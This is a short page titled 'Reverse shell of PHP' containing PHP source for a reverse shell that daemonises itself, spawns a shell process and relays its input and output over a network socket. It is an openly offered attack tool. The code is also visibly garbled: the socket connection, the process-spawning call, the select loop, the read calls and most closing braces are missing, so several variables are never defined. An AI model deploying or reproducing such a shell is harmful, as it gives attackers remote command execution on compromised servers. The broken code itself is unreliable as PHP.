Reverse shell of PHP
Reverse shell of PHP
php
set_time_limit (0);
$VERSION = "1.0";
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$daemon = 0;
$debug = 0;
//
//
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
exit(1);
if ($pid) {
exit(0); // Parent exits
if (posix_setsid() == -1) {
exit(1);
$daemon = 1;
} else {
chdir("/");
umask(0);
//
//
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
if (!is_resource($process)) {
exit(1);
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
break;
if (feof($pipes[1])) {
break;
if (in_array($sock, $read_a)) {
fwrite($pipes[0], $input);
fwrite($sock, $input);
if (in_array($pipes[2], $read_a)) {
fwrite($sock, $input);
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
if (!$daemon) {
print "$string\n";
}
?>